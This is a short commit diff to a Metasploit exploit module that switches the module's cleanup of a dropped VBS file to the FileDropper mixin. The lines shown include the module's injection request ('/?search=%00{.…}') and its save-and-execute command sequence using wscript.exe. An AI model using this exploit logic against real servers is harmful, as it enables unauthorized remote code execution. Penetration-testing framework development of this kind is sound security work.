using FileDropper method for cleanup

bug/bundler_fix
mfadzilr 2014-09-20 10:52:21 +08:00
parent 677d035ce8
commit 19ed594e98
1 changed files with 4 additions and 1 deletions

View File

@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
@ -86,7 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote
"save|#{datastore['SAVE_PATH']}#{file_fullname}|#{vbs_code}",
"exec|wscript.exe //B //NOLOGO #{datastore['SAVE_PATH']}#{file_fullname}",
# using wscript.exe instead of cmd.exe, thank mubix
"delete|#{datastore['SAVE_PATH']}#{file_fullname}"
#"delete|#{datastore['SAVE_PATH']}#{file_fullname}"
# delete vbs file after execution
]
@ -97,6 +98,8 @@ class Metasploit3 < Msf::Exploit::Remote
'uri' => "/?search=%00{.#{URI::encode(payload)}.}"
})
}
register_file_for_cleanup("#{datastore['SAVE_PATH']}#{file_fullname}")
# use FileDropper method for cleanup
end
def exploit